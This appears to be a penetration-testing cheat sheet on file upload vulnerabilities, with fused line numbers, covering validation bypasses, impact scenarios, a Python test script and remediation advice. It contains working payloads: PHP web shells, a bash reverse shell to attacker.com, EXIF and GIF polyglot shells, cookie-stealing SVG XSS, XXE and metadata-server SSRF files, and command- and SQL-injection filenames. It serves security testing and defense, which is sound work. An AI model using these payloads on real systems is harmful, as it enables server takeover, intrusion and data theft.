Client-Side Validation Bypasses2532541. **Disabling JavaScript**:255 - Disable JavaScript to bypass client-side checks256 - Use browser developer tools to modify the DOM2572582. **Request Interception**:259 - Intercept and modify upload requests using Burp Suite or ZAP260 - Change file parameters post-validation2612623. **Extension Manipulation Techniques**:263264```265# Null byte injection (for PHP < 5.3.4)266shell.php%00.jpg267shell.php\x00.jpg268269# Using alternate representations270shell.php.....271shell.php;.jpg272shell.php::$DATA.jpg273274# Manipulating request content2751. Upload legitimate image2762. Intercept request2773. Replace file content with shell while keeping filename278```2792804. **MIME-Type Manipulation**:281 - Modify Content-Type header to match expected type282 - Change file signature/magic bytes to appear as legitimate format283284#### Server-Side Validation Bypasses2852861. **Metadata Injection**:287 - Inject code into image metadata (EXIF)288289 ```290 exiftool -Comment="<?php system(\$_GET['cmd']); ?>" payload.jpg291 ```2922932. **Image Content Manipulation**:294 - Create images containing server-side code295296 ```297 # PHP code in GIF file298 GIF89a;299 <?php system($_GET['cmd']); ?>300 ```3013023. **Advanced Polyglot Techniques**:303 - Create files that are valid in multiple formats304305 ```306 # Valid JPG and PHP307 Create JPG with PHP code after the image data308 Add PHP code to EXIF data309 ```3103114. **Path Traversal in Upload Locations**:312313 ```314 filename=../../../tmp/shell.php315 filename=..%2f..%2f..%2ftmp%2fshell.php316 filename=../../etc/passwd/logo.png # Example LFI attempt317 filename=\\attacker-site.com\file.png # UNC Path (Windows specific)318 ```3193205. **Common DenyList Bypass**:321322 ```323 escape "/" with "\/" or "//" with "\/\/"324 try single "/" instead of "//"325 remove http i.e. "continue=//google.com"326 "/\/\" , "|/" , "/%09/"327 encode, slashes328 "./" CHANGE TO "..//"329 "../" CHANGE TO "....//"330 "/" CHANGE TO "//"331 filename=..%2f..%2f..%2ftmp%2fshell.php332 # Check IIS specific extensions if applicable333 filename=shell.cer334 filename=shell.asa335 # Windows specific bypasses336 filename=shell.aspx. # Trailing dot337 filename=shell.php::$DATA # Alternate Data Stream (ADS)338 filename=shell.php:.jpg # ADS confusion339 ```3403416. **GIF Comment Bypass**:342 - Inject payload within GIF comments.343344 ```345 GIF89a/*<svg/onload=alert(1)>*/=alert(document.domain)//;346 ```3473487. **Magic Byte Forging**:349 - Prepend malicious file content with the magic bytes of an allowed file type.350 ```351 # Example: GIF header + PHP shell352 GIF89a;353 <?php echo 'Magic Byte Bypass'; phpinfo(); ?>354 ```355356## Vulnerabilities357358### Common File Upload Vulnerability Patterns359360```mermaid361graph TD362 A[File Upload Vulnerabilities] --> B[Implementation-Specific]363 A --> C[Impact Scenarios]364365 B --> D[CMS Upload Vulnerabilities]366 B --> E[Framework Upload Vulnerabilities]367 B --> F[Language-Specific Vulnerabilities]368369 C --> G[RCE]370 C --> H[XSS]371 C --> I[SSRF]372 C --> J[DoS]373 C --> K[LFI]374```375376#### Implementation-Specific Vulnerabilities3773781. **CMS Upload Vulnerabilities**:379 - **WordPress**: Plugin and theme uploaders380 ```381 Upload plugin ZIP with malicious PHP files382 SVG uploads with XSS in media library383 ```384 - **Drupal**: Module installations385 ```386 Malicious module installation via admin panel387 ```388 - **Joomla**: Template uploads389 ```390 Malicious template installation391 ```3923932. **Framework Upload Vulnerabilities**:394 - **PHP**: File upload handling in common frameworks395 ```396 Laravel file upload middleware bypass397 CodeIgniter upload library misconfiguration398 ```399 - **Java**: Spring MVC file upload handlers400 ```401 Spring MultipartResolver misconfiguration402 ```403 - **ASP.NET**: File upload components404 ```405 ASP.NET FileUpload control misconfiguration406 ```4074083. **Language-Specific Upload Vulnerabilities**:409 - **PHP**: move_uploaded_file() race conditions410 - **Java**: Temporary file creation vulnerabilities411 - **Node.js**: Express-fileupload vulnerabilities412413### Impact Scenarios414415#### Extension Impact Matrix416417Common file extensions and their potential security impacts:418419- **Web Shells & RCE**:420 - `.php`, `.php3`, `.php4`, `.php5`, `.phtml`, `.phar`, `.phpt`421 - `.asp`, `.aspx`, `.ashx`, `.asmx`, `.asa`, `.cer`, `xamlx` (ASP.NET)422 - `.jsp`, `.jspx`, `.jsw`, `.jsv`, `.jspf` (Java Server Pages)423 - `.cfm`, `.cfml`, `.cfc`, `.dbm` (ColdFusion)424 - `.pl`, `.py`, `.rb`, `.cgi`425 - `.htaccess` (if Apache allows override, can reconfigure PHP handling or execute commands)426 - `.config` (web.config for IIS/ASP.NET)427- **Client-Side Attacks**:428 - `.svg`: Stored XSS, SSRF, XXE429 - `.gif`: Stored XSS (via comments), SSRF430 - `.html`, `.js`: HTML injection, XSS, Open redirect, Phishing431 - `.wasm`: WebAssembly modules for client-side code execution432 - `.webp`, `.avif`: Modern image format parser bugs433- **Server-Side Attacks**:434 - `.csv`: CSV injection (Formula Injection)435 - `.xml`: XXE436 - `.avi`, `.mov`: Potential LFI, SSRF (via external streams/subtitles)437 - `.pdf`, `.pptx`: SSRF, Blind XXE (via external entities/references)438 - `.zip`: RCE via LFI (using `zip://` wrapper), DoS (Zip Bomb), Zip Slip (Path Traversal during extraction)439 - `.scf` (Windows Shortcut): RCE (forces NTLM hash disclosure when browsed via UNC path)440- **Denial of Service**:441 - `.png`, `.jpeg`: Pixel flood attack (large dimensions/compressed data)442 - Large filenames: `1234...99.png` (e.g., > 255 chars)443 - Zip bombs (highly compressed archives)444 - Files exploiting parser libraries (ImageTragick, XML bombs)445446#### Remote Code Execution (RCE)447448- **Web Shell Uploading**: Gaining command execution on the server449 ```php450 <?php system($_GET['cmd']); ?>451 ```452- **Reverse Shell Deployment**: Establishing persistent control453 ```php454 <?php exec("/bin/bash -c 'bash -i >& /dev/tcp/attacker.com/443 0>&1'");?>455 ```456457#### File Inclusion Attack Chains458459- **LFI via Uploaded Files**: Chaining local file inclusion with uploads460 ```461 1. Upload malicious file (e.g., `avatar.jpg` containing PHP code).462 2. Trigger inclusion via LFI vulnerability (e.g., `/?page=../../uploads/avatar.jpg`).463 ```464- **LFI via Zip Wrapper**:465 ```466 1. Upload malicious file inside a zip (e.g., `archive.zip` containing `shell.php`).467 2. Trigger inclusion: `/?page=zip://uploads/archive.zip%23shell.php`468 ```469470#### XSS via Uploaded Files471472- **SVG-Based XSS**:473 ```xml474 <?xml version="1.0" standalone="no"?>475 <!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">476 <svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">477 <rect width="300" height="100" style="fill:rgb(0,0,255);stroke-width:3;stroke:rgb(0,0,0)" />478 <script type="text/javascript">479 alert("XSS via SVG");480 </script>481 </svg>482 ```483- **GIF Comment XSS**:484 ```485 GIF89a/*<svg/onload=alert(1)>*/=alert(document.domain)//;486 ```487- **HTML/JS File Uploads**:488 ```html489 <!-- If .html or .js uploads are allowed and rendered -->490 <script>491 alert(document.cookie);492 </script>493 ```494- **Filename-Based XSS**:495 ```496 filename="<svg onload=alert(1)>.jpg"497 filename="xss.<svg onload=alert(1)>.jpg"498 ```499500#### Server-Side Request Forgery (SSRF) via Uploads501502- **XXE in SVG Uploads**:503 ```xml504 <?xml version="1.0" standalone="yes"?>505 <!DOCTYPE svg [ <!ENTITY xxe SYSTEM "http://internal.service/resource"> ]>506 <svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1">507 <text font-size="16" x="0" y="16">&xxe;</text>508 </svg>509 ```510- **SVG Image Href SSRF**:511 ```xml512 <?xml version="1.0" encoding="UTF-8" standalone="yes"?>513 <svg xmlns:svg="http://www.w3.org/2000/svg" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="200" height="200">514 <image height="200" width="200" xlink:href="http://internal-metadata-server/latest/meta-data/" />515 </svg>516 ```517- **PDF/PPTX SSRF**: Exploiting features that fetch external resources.518- **Upload from URL Feature**: If the application allows providing a URL for upload, test internal IPs/metadata endpoints.519- **SSRF via Filename**: Submitting a URL as the filename (`filename=http://internal...`).520- **SSRF via HTTP Range Requests**: Manipulating `Range` header during URL fetch.521522#### XXE via Uploads523524- **XML File Upload**: Standard XXE payloads in `.xml` files.525- **SVG File Upload**: See SSRF example above.526- **Excel File Upload (`.xlsx`)**: `.xlsx` files are zip archives containing XML files (like `sharedStrings.xml`) which can be crafted with XXE payloads.527- **PDF/PPTX Blind XXE**: Similar to SSRF, using external entity references.528529#### Open Redirect via Uploads530531- **SVG Open Redirect**:532 ```xml533 <?xml version="1.0" encoding="UTF-8" standalone="yes"?>534 <svg onload="window.location='https://attacker.com'" xmlns="http://www.w3.org/2000/svg">535 <rect width="300" height="100"/>536 </svg>537 ```538539#### Command Injection via Filename540541- If the filename is passed unsanitized to shell commands:542 ```543 filename="; sleep 10;.jpg"544 filename="`sleep 10`.jpg"545 filename="$(sleep 10).jpg"546 ```547548#### SQL Injection via Filename549550- If the filename is used unsanitized in SQL queries:551 ```552 filename="' OR SLEEP(10)-- -.jpg"553 filename="sleep(10)-- -.jpg"554 filename="'sleep(10).jpg" # Different quoting/termination555 ```556557#### Denial of Service (DoS)558559- **Pixel Flood Attack**: Uploading specially crafted images (e.g., `lottapixel.jpg`) that consume excessive resources during processing. ([Reference](https://github.com/fuzzdb-project/fuzzdb/blob/master/attack/file-upload/malicious-images/lottapixel.jpg))560- **Zip Bomb**: Uploading highly compressed archives that expand significantly.561- **Large Filename**: Using extremely long filenames can sometimes cause issues or DoS.562- **Uploading files with content that exploits parsing libraries (e.g., ImageTragick, billion laughs XXE).**563- **Uploading `.eml` files with `Content-Type: text/html` if processed insecurely.**564- **FFmpeg/Video Processing**: Upload crafted video files (`.mp4`, `.avi`, `.mov`) with malicious metadata or subtitles to trigger SSRF/RCE in video converters.565- **HEIC/AVIF Processing**: Exploit parsing bugs in libheif/libavif during thumbnail generation.566- **PDF.js Browser Rendering**: Upload PDFs with malicious annotations or forms that exploit client-side renderers.567568#### Additional Attack Vectors569570##### ImageMagick Vulnerabilities5715721. Using .mvg files for SSRF/LFI:573574```575push graphic-context576viewbox 0 0 640 480577fill 'url(http://attacker.com/)'578pop graphic-context579```5805812. Using the gifoeb tool for memory disclosure:582583```bash584./gifoeb gen 512x512 dump.gif585# Try different extensions:586./gifoeb gen 1123x987 dump.jpg587./gifoeb gen 1123x987 dump.png588# Recover pixels after upload and download:589# for p in previews/*; do ./gifoeb recover $p | strings; done590```591592##### WAF Bypass Techniques5935941. URL Parameter Manipulation:595596```597/?file=xx.php <- Blocked598/?file===xx.php <- Bypassed599```6006012. Content-Type Manipulation with Metadata:602603```bash604exiftool -Comment='<?php echo "<pre>"; system($_GET['cmd']); ?>' shell.jpg605mv shell.jpg shell.php.jpg606```607608### New CVEs609610- **CVE-2024-29510 – Ghostscript ≤ 10.03.0 EPS/JPG RCE**: Exploit via EPS-in-JPG polyglot when Ghostscript is used for image conversion.611- **CVE-2024-53677 – Apache Struts S2-067**: Multipart upload path-traversal leading to RCE.612- **CVE-2024-57169 – SOPlanning ≤ 1.53**: Arbitrary file upload to the web-root.613- **CVE-2024-48514 – php-heic-to-jpg ≤ 1.0.5**: Filename sanitisation bypass resulting in RCE during HEIC conversion.614- Image processing stacks (libvips/Sharp, GraphicsMagick/ImageMagick, Ghostscript, pdfium) continue to receive critical parser bugs; sandbox converters and track advisories.615- HEIC/AVIF conversion pipelines frequently mishandle temporary files and trust `Content-Type`/magic bytes.616- Serverless image proxies (imgproxy, Thumbor, custom Lambda/Cloud Functions) often allow SSRF/LFI via remote URL sources.617618## Methodologies619620### Tools621622#### File Upload Vulnerability Testing Tools623624- **Burp Suite**: Content-Type and request manipulation, Intruder for fuzzing625- **OWASP ZAP**: Automated scanning for upload vulnerabilities626- **ExifTool**: Metadata manipulation for bypass testing627- **Weevely**: Web shell generation tool628- **Fuxploider**: File upload vulnerability scanner ([GitHub](https://github.com/almandin/fuxploider))629- **Upload Scanner (Burp Extension)**: ([PortSwigger BApp Store](https://portswigger.net/bappstore))630- **FUFF / ffuf / wfuzz**: Fuzzing file upload endpoints, extensions, parameters631632#### Custom Testing Scripts633634```python635import requests636from requests_toolbelt.multipart.encoder import MultipartEncoder637638def test_file_upload(target_url, file_path, file_name, content_type):639 """640 Test file upload with custom parameters641 """642 multipart_data = MultipartEncoder(643 fields={644 'file': (file_name, open(file_path, 'rb'), content_type)645 }646 )647648 headers = {649 'Content-Type': multipart_data.content_type650 }651652 response = requests.post(target_url, data=multipart_data, headers=headers)653654 # Return response for analysis655 return {656 'status_code': response.status_code,657 'response_text': response.text,658 'response_headers': dict(response.headers)659 }660661# Example usage:662target = 'https://target.com/upload.php'663test_cases = [664 # Basic tests665 {'path': 'shell.php', 'name': 'legitimate.jpg', 'type': 'image/jpeg'},666 {'path': 'shell.php', 'name': 'shell.php.jpg', 'type': 'image/jpeg'},667 {'path': 'shell.php', 'name': 'shell.php%00.jpg', 'type': 'image/jpeg'},668 {'path': 'shell.php', 'name': 'shell.php%20.jpg', 'type': 'image/jpeg'},669 {'path': 'shell.php', 'name': 'shell.php%0d%0a.jpg', 'type': 'image/jpeg'},670 {'path': 'shell.php', 'name': 'shell.php.blah123jpg', 'type': 'image/jpeg'},671 # Content-type tests672 {'path': 'legitimate.jpg', 'name': 'legitimate.jpg', 'type': 'image/jpeg'},673 {'path': 'shell.php', 'name': 'shell.php', 'type': 'image/jpeg'},674 {'path': 'shell.php', 'name': 'shell.php', 'type': 'image/gif'},675 # Extension tests676 {'path': 'shell.php', 'name': 'shell.phtml', 'type': 'application/x-php'},677 {'path': 'shell.php', 'name': 'shell.PhP', 'type': 'application/x-php'},678 {'path': 'shell.php', 'name': 'shell.php.', 'type': 'application/octet-stream'},679 {'path': 'shell.php', 'name': 'shell.php%20', 'type': 'application/octet-stream'},680]681682for test in test_cases:683 result = test_file_upload(target, test['path'], test['name'], test['type'])684 print(f"Testing {test['name']} ({test['type']}): {result['status_code']}")685```686687### Testing Strategies688689#### Comprehensive File Upload Testing Process6906911. **Discovery Phase**:692 - Map all file upload functionality693 - Identify client-side and server-side validation patterns694 - Document allowed file types and upload restrictions6956962. **Initial Testing Phase**:697 - Test baseline functionality with expected file types698 - Test basic restriction bypasses:699 - Extension manipulation700 - Content-Type manipulation701 - Simple payload attempts7027033. **Advanced Testing Phase**:704 - Test for complex bypass techniques:705 - Polyglot files706 - Metadata injection707 - Race conditions708 - Upload directory traversal7097104. **Exploitation Phase**:711 - Verify code execution for successful uploads712 - Test chained attack scenarios713 - Document impact and attack chains7147155. **Post-Exploitation Testing**:716 - Test upload persistence717 - Test access control on uploaded files718 - Test ability to access uploads across user contexts719720#### Real-World Testing Examples721722##### CMS File Upload Testing7237241. Identify CMS type and version7252. Map file upload functionality (plugins, themes, media)7263. Test bypasses specific to the CMS:727 - WordPress: Plugin installation with malicious PHP728 - Drupal: Module upload with executable code729 - Joomla: Template upload with backdoor7304. Verify code execution731732##### Multi-step Bypass Testing7337341. Attempt standard upload with blocked extension (.php)7352. If blocked, try modification techniques:736 - Double extensions (.jpg.php)737 - Alternate extensions (.phtml, .php5)738 - Case manipulation (.pHP)7393. If still blocked, try content manipulation:740 - Change Content-Type header741 - Modify magic bytes742 - Use polyglot techniques7434. If successful, verify execution path744745##### SVG Upload for XSS Testing7467471. Create malicious SVG:748749```750 <svg xmlns="http://www.w3.org/2000/svg" onload="alert(document.cookie)"/>751```7527532. Upload to target site7543. Access uploaded SVG directly or in context7554. Verify XSS execution756757## Remediation Recommendations758759- **Implement Proper Validation**:760 - Validate file type using content inspection, not just extension761 - Use file signature/magic byte checking762 - Implement allowlist approach for permitted file types AND extensions (Defense in Depth)763764- **Apply Multiple Security Layers**:765 - Implement client-side AND server-side validation766 - Use content-type validation AND extension validation767 - Scan uploaded files with security tools768 - Use separate domains or CDNs for user-uploaded content (reduces XSS risk)769 - Implement proper, restrictive permissions on upload directories (prevent execution)770771- **Store Files Securely**:772 - Store uploaded files outside the web root when possible773 - Use separate domains for user-uploaded content774 - Implement proper permissions on upload directories775776- **Process Uploaded Files**:777 - Remove metadata from images778 - Re-encode/compress uploaded images779 - Strip potentially dangerous content780 - Use random, unpredictable filenames generated by the server (prevents guessing/overwriting)781 - Validate file paths against directory traversal782 - Content Disarm & Reconstruction (CDR): re-encode or convert documents and images on a trusted pipeline before storage or delivery.783 - Sandbox Image/Document Converters: run Ghostscript, ImageMagick, and HEIC libraries under seccomp, Firejail, or bubblewrap to contain 0-days.784 - Supply-Chain Hygiene: track image/document-processing dependencies with an SBOM (e.g., Syft) and enable automated updates via Dependabot or Renovate.785786- **Implement File Upload Best Practices**:787 - Set upload size limits788 - Implement file scanning for malware789 - Use random, unpredictable filenames790 - Validate file paths against directory traversal791792- **Context-Specific Controls**:793 - For image uploads: Validate dimensions and recompress794 - For document uploads: Convert to PDF or other safe format795 - For code uploads: Implement sandbox execution environment or strict validation/linting796797- **HTTP Headers**:798 - For downloaded files, set `Content-Disposition: attachment; filename="user_safe_filename.ext"` to force download prompt.799 - Set `X-Content-Type-Options: nosniff` to prevent browsers from MIME-sniffing the content type away from the declared one.800801### Cloud / Object-Storage Upload Checklist802803- Use presigned URLs with **short TTL (≤ 60 s)** and **single-use** semantics.804- Enforce `bucket-owner-enforced` ACL or **Object Lock** to prevent post-scan overwrites.805- Require **server-side encryption** headers (for example `x-amz-server-side-encryption`) on presigned PUTs.806- Restrict the IAM role used for uploads to **PutObject** only; deny `GetObject` and `DeleteObject` unless required.807- Validate the object key on the backend after upload; reject keys containing `../` or control characters.808- For compute workers processing uploads, enforce **IMDSv2** and limit egress to mitigate SSRF pivots.809810### Cloud/Object Storage Advanced811812- Presigned POST policies: verify policy `conditions` enforce `content-type`, size, and key prefix; reject uploads whose actual `Content-Type` differs at processing time.813- Compute ETag/MD5 checks; reject mismatched `Content-MD5` values; beware S3 multipart ETag semantics for multi-part uploads.814- Scan and quarantine newly uploaded objects before publishing; block overwrites via Object Lock; publish via a separate, read-only bucket.815- Prevent key confusion: disallow keys with `%2f`, unicode homoglyphs, or hidden dot segments that may bypass prefix-only allowlists.816- CDN/image pipeline: disable remote URL sources or restrict to allowlisted domains with DNS pinning; strip metadata and re-encode.817- Enforce V4 signature strictness on presigned URLs; reject headers not in policy; verify expiration on access.818819### Chunked/Streaming and CDN/Image Pipelines820821- HTTP chunked smuggling: proxies may stream parts to backends before full validation; ensure backends validate final file after full receive.822- Parallel/multipart chunk races: verify server holds uploads in a quarantine path until all validations complete; deny direct reads from temp locations.823- Image pipelines with `?url=` sources: treat as SSRF; block private IPs, localhost, and metadata endpoints; enforce DNS rebinding protections.